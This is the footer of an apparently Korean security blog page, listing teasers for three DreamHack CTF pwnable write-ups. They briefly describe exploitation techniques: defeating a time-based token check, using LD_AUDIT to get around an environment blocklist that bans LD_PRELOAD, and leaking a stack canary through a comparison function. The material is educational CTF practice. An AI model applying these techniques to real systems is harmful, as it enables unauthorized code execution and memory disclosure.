댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)

댓글 불러오는 중…

Related

관련 글

3개
[🥉 Bronze 4] strncmp(18) 부분비교 + 시간기반 토큰 — DreamHack angry_darim 풀이
blog

[🥉 Bronze 4] strncmp(18) 부분비교 + 시간기반 토큰 — DreamHack angry_darim 풀이

time()으로 매초 바뀌는 "동적 토큰"을 strncmp로 딱 18바이트만 비교하는 바이너리. 로컬에서는 실행 순간의 epoch를 그대로 넣어 우회하지만, 정작 DreamHack에 내는 flag는 그 시간 요소를 통째로 들어내야 하는 정적 문자열이었다.
#dreamhack#ctf#pwnable+5
2026-07-19#dreamhack +6
[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이
blog

[🥉 Bronze 2] 금지 목록에 LD_PRELOAD 는 있고 LD_AUDIT 은 없다 — DreamHack linux_forest 풀이

메뉴 네 개가 각각 반쪽짜리 권한을 준다. 한 글자 명령 실행, 환경변수 설정, 임시 디렉토리 생성, 파일 업로드. 환경변수 차단 목록은 PATH 와 LD_PRELOAD 두 개를 완전 일치로만 막는데, 같은 일을 하는 LD_AUDIT 이 비어 있다. 올린 파일에 실행 권한이 없어도 로더는 .so 를 읽어서 생성자를 돌려 준다.
#dreamhack#ctf#pwnable+11
2026-10-23#dreamhack +5
[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이
blog

[🥉 Bronze 1] 첫 차이 인덱스를 알려 주는 비교 함수로 카나리를 읽는다 — DreamHack newstrcmp 풀이

직접 구현한 strcmp 가 "몇 번째 바이트에서 처음 달랐는지" 와 "어느 쪽이 큰지" 를 그대로 알려 준다. 루프 길이가 s1 의 strlen 이라 짧은 s2 의 끝을 넘어 카나리까지 읽는데, 카나리 첫 바이트가 NUL 이라 비교가 그 자리에서 멈춘다. 그 장벽을 s1 오버플로로 직접 치우고 나머지를 이분탐색으로 복원했다.
#dreamhack#ctf#pwnable+8
2026-10-23#dreamhack +5